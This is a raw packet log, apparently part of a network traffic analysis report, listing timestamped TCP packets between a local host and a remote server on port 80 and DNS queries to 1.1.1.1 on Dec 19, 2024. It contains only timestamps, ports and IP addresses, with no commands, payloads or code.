                                                  Dec 19, 2024 08:36:16.640175104 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.640249968 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.640372038 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.640427113 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.640496969 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.640608072 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.640784979 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.640923977 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641120911 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641272068 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641374111 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641501904 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641617060 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641732931 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641833067 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.641860008 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.641927958 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.641961098 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.642092943 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.642142057 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.642235994 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.642338991 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.642390966 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.642414093 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.642570019 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.642627001 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.672369003 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.675390959 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.717252016 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.718966007 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.759181023 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.759346962 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.759424925 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.759445906 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.759567976 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.759774923 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.759910107 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.759942055 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760144949 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760176897 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760345936 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760489941 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760539055 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760646105 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760694981 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760745049 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760773897 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760806084 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.760853052 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761384010 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761512041 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761543036 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761636972 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761667967 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761673927 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.761744022 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.761785984 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761814117 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761863947 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761876106 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.761892080 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761943102 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.761945009 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.761970997 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762017965 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.762039900 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762068033 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762100935 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762146950 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.762151957 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762183905 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762232065 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762299061 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762330055 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762449980 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762476921 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762557983 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762584925 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762615919 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762641907 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762691021 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762721062 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762785912 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762852907 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762901068 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.762928009 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763030052 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763057947 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763092041 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763119936 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763168097 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763195038 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763261080 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763288975 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763370991 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763403893 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763478994 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763506889 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763592005 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763618946 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.763645887 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.795093060 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.795146942 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.838521004 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.879209995 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.879241943 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.879255056 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.879268885 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.879281998 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.881551981 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.881778002 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.881912947 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.881942034 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882038116 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882137060 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882164955 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882196903 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882311106 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882455111 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882483006 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882565975 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882594109 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882639885 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882688999 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882930040 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.882978916 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883009911 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883099079 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883131981 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883213997 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883275986 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883304119 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883388042 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883436918 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883503914 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883532047 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883651972 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883680105 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883855104 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883882999 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883914948 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.883999109 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.884004116 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884089947 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884102106 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.884119034 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884212017 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884239912 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884329081 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884356022 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884437084 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884464979 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884514093 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884545088 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884612083 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884639025 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884711981 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884874105 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884902000 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884927988 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.884975910 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.885004044 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.885030985 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.885062933 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.885128021 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.888195038 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.888288975 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:17.003848076 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.003937960 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.003968000 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004017115 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004046917 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004225969 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004275084 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004324913 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004374981 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004406929 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004472017 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004595995 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004643917 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004771948 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004821062 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004889965 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004918098 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004966021 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.004993916 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005024910 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005084038 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005162001 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005212069 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005337954 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005364895 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005398989 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005448103 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005479097 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005506039 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005672932 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005700111 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005871058 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.005919933 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006198883 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006283045 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006345987 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006373882 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006490946 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006599903 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006700039 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006728888 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006889105 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.006937981 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007051945 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007147074 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007280111 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007388115 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007436037 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007462978 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007525921 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007554054 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007652998 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007777929 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007867098 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.007998943 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008030891 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008147955 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008177996 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008323908 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008351088 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008460045 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008527040 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008660078 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008687019 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008729935 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:17.008805037 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008832932 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.008970976 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009020090 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009156942 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009272099 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009434938 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009462118 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009500027 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009526968 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009610891 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009723902 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009816885 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009845972 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009913921 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.009978056 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010096073 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010188103 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010238886 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010292053 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010423899 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010471106 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010586977 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010636091 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010761976 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010808945 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010934114 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.010982990 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011085987 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011127949 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011187077 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011250019 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011398077 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011425972 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011459112 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011506081 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011584044 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011682034 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011742115 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011789083 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011885881 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.011946917 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.012063980 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.012111902 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.128762960 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.128825903 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.128901958 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.128935099 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129075050 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129174948 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129272938 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129309893 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129417896 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129479885 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129548073 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129561901 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129584074 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129643917 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129702091 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129736900 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129884005 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129897118 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129945993 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.129957914 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130036116 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130094051 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130168915 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130211115 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130266905 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130426884 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130490065 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130501986 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130549908 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130563021 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130645037 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:17.130660057 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:37:14.500602007 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:37:14.500710011 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:37:14.500847101 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:37:14.501313925 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:37:14.620780945 CET8049705194.87.47.113192.168.2.5

                                                  UDP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 19, 2024 08:36:11.841185093 CET6285153192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:36:11.841320038 CET6285153192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:36:11.978987932 CET53628511.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:36:12.126291037 CET53628511.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:36:15.243202925 CET6285453192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:36:15.243454933 CET6285453192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:36:15.382153034 CET53628541.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:36:15.382173061 CET53628541.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:14.618933916 CET5041353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:14.619776011 CET5041353192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:14.756627083 CET53504131.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:14.905659914 CET53504131.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:14.997920990 CET5041553192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:14.997983932 CET5041553192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:15.135816097 CET53504151.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:15.135838032 CET53504151.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:15.335438013 CET5041753192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:15.335519075 CET5041753192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:15.335597992 CET5041753192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:15.472791910 CET53504171.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:15.474455118 CET53504171.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:15.476679087 CET53504171.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:15.709152937 CET5041953192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:15.709295034 CET5041953192.168.2.51.1.1.1
                                                  Dec 19, 2024 08:37:15.847626925 CET53504191.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:15.847646952 CET53504191.1.1.1192.168.2.5
                                                  Dec 19, 2024 08:37:16.104876995 CET5042153192.168.2.51.1.1.1
